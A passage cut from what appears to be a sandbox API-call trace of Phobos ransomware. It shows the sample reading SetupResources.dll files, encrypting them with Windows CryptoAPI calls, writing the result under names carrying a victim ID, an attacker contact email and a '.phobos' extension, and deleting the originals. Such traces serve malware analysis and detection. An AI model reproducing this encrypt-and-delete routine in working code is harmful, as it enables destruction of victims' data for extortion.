(lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0044.361] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0044.361] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0044.361] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0044.587] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dbf50) returned 1 [0044.587] CryptSetKeyParam (hKey=0x10dbf50, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0044.587] ReadFile (in: hFile=0x308, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x4b58, lpOverlapped=0x0) returned 1 [0044.608] CryptEncrypt (in: hKey=0x10dbf50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4b60, dwBufLen=0x4b60 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4b60) returned 1 [0044.608] WriteFile (in: hFile=0x31c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x4b60, lpOverlapped=0x0) returned 1 [0044.609] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc490) returned 1 [0044.610] CryptSetKeyParam (hKey=0x10dc490, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0044.610] CryptEncrypt (in: hKey=0x10dc490, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0044.610] CryptDestroyKey (hKey=0x10dc490) returned 1 [0044.610] WriteFile (in: hFile=0x31c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0044.610] CryptDestroyKey (hKey=0x10dbf50) returned 1 [0044.610] CloseHandle (hObject=0x308) returned 1 [0044.610] CloseHandle (hObject=0x31c) returned 1 [0044.611] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 1 [0044.612] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0044.612] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0044.617] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=18776) returned 1 [0044.617] CloseHandle (hObject=0x328) returned 1 [0044.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80 [0044.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.617] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0044.617] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0044.618] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0044.618] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0044.625] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dbd90) returned 1 [0044.625] CryptSetKeyParam (hKey=0x10dbd90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0044.625] ReadFile (in: hFile=0x328, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x4958, lpOverlapped=0x0) returned 1 [0044.634] CryptEncrypt (in: hKey=0x10dbd90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4960, dwBufLen=0x4960 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4960) returned 1 [0044.634] WriteFile (in: hFile=0x31c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x4960, lpOverlapped=0x0) returned 1 [0044.635] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dbe90) returned 1 [0044.635] CryptSetKeyParam (hKey=0x10dbe90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0044.635] CryptEncrypt (in: hKey=0x10dbe90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0044.636] CryptDestroyKey (hKey=0x10dbe90) returned 1 [0044.636] WriteFile (in: hFile=0x31c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0044.636] CryptDestroyKey (hKey=0x10dbd90) returned 1 [0044.636] CloseHandle (hObject=0x328) returned 1 [0044.636] CloseHandle (hObject=0x31c) returned 1 [0044.637] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 1 [0044.638] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0044.638] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0044.638] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=15704) returned 1 [0044.639] CloseHandle (hObject=0x31c) returned 1 [0044.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80 [0044.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.639] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0044.639] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0044.639] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0044.639] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0044.790] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc110) returned 1 [0044.790] CryptSetKeyParam (hKey=0x10dc110, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0044.790] ReadFile (in: hFile=0x31c, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x3d58, lpOverlapped=0x0) returned 1 [0044.806] CryptEncrypt (in: hKey=0x10dc110, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x3d60, dwBufLen=0x3d60 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x3d60) returned 1 [0044.806] WriteFile (in: hFile=0x328, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x3d60, lpOverlapped=0x0) returned 1 [0044.807] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dbfd0) returned 1 [0044.807] CryptSetKeyParam (hKey=0x10dbfd0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0044.807] CryptEncrypt (in: hKey=0x10dbfd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0044.807] CryptDestroyKey (hKey=0x10dbfd0) returned 1 [0044.807] WriteFile (in: hFile=0x328, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0044.807] CryptDestroyKey (hKey=0x10dc110) returned 1 [0044.807] CloseHandle (hObject=0x31c) returned 1 [0044.807] CloseHandle (hObject=0x328) returned 1 [0044.808] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 1 [0044.809] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0044.809] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0044.810] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=19288) returned 1 [0044.810] CloseHandle (hObject=0x328) returned 1 [0044.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80 [0044.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.810] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0044.810] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0044.810] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0044.810] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0044.818] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc0d0) returned 1 [0044.818] CryptSetKeyParam (hKey=0x10dc0d0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0044.818] ReadFile (in: hFile=0x328, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x4b58, lpOverlapped=0x0) returned 1 [0044.839] CryptEncrypt (in: hKey=0x10dc0d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4b60, dwBufLen=0x4b60 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4b60) returned 1 [0044.839] WriteFile (in: hFile=0x30c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x4b60, lpOverlapped=0x0) returned 1 [0044.840] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc2d0) returned 1 [0044.840] CryptSetKeyParam (hKey=0x10dc2d0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0044.840] CryptEncrypt (in: hKey=0x10dc2d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0044.840] CryptDestroyKey (hKey=0x10dc2d0) returned 1 [0044.840] WriteFile (in: hFile=0x30c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0044.840] CryptDestroyKey (hKey=0x10dc0d0) returned 1 [0044.840] CloseHandle (hObject=0x328) returned 1 [0044.840] CloseHandle (hObject=0x30c) returned 1 [0044.841] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 1 [0045.114] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0045.114] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0045.221] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=18264) returned 1 [0045.221] CloseHandle (hObject=0x30c) returned 1 [0045.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80 [0045.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.221] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0045.221] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.221] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.221] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.229] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10c9490) returned 1 [0045.229] CryptSetKeyParam (hKey=0x10c9490, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.229] ReadFile (in: hFile=0x30c, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x4758, lpOverlapped=0x0) returned 1 [0045.241] CryptEncrypt (in: hKey=0x10c9490, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4760, dwBufLen=0x4760 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4760) returned 1 [0045.241] WriteFile (in: hFile=0x328, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x4760, lpOverlapped=0x0) returned 1 [0045.242] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10c8d90) returned 1 [0045.242] CryptSetKeyParam (hKey=0x10c8d90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.242] CryptEncrypt (in: hKey=0x10c8d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0045.242] CryptDestroyKey (hKey=0x10c8d90) returned 1 [0045.242] WriteFile (in: hFile=0x328, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0045.242] CryptDestroyKey (hKey=0x10c9490) returned 1 [0045.242] CloseHandle (hObject=0x30c) returned 1 [0045.242] CloseHandle (hObject=0x328) returned 1 [0045.243] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 1 [0045.244] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0045.244] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.244] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=18264) returned 1 [0045.244] CloseHandle (hObject=0x328) returned 1 [0045.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80 [0045.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.245] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0045.245] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.245] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0045.245] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0045.246] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10c9490) returned 1 [0045.246] CryptSetKeyParam (hKey=0x10c9490, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.246] ReadFile (in: hFile=0x328, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x4758, lpOverlapped=0x0) returned 1 [0045.274] CryptEncrypt (in: hKey=0x10c9490, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4760, dwBufLen=0x4760 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4760) returned 1 [0045.274] WriteFile (in: hFile=0x30c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x4760, lpOverlapped=0x0) returned 1 [0045.275] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10c8d90) returned 1 [0045.275] CryptSetKeyParam (hKey=0x10c8d90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0045.275] CryptEncrypt (in: hKey=0x10c8d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50) returned 1 [0045.275] CryptDestroyKey (hKey=0x10c8d90) returned 1 [0045.275] WriteFile (in: hFile=0x30c, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x102, lpOverlapped=0x0) returned 1 [0045.275] CryptDestroyKey (hKey=0x10c9490) returned 1 [0045.275] CloseHandle (hObject=0x328) returned 1 [0045.275] CloseHandle (hObject=0x30c) returned 1 [0045.276] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 1 [0045.277] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0045.277] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0045.277] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=18264) returned 1 [0045.277] CloseHandle (hObject=0x30c) returned 1 [0045.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80 [0045.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: 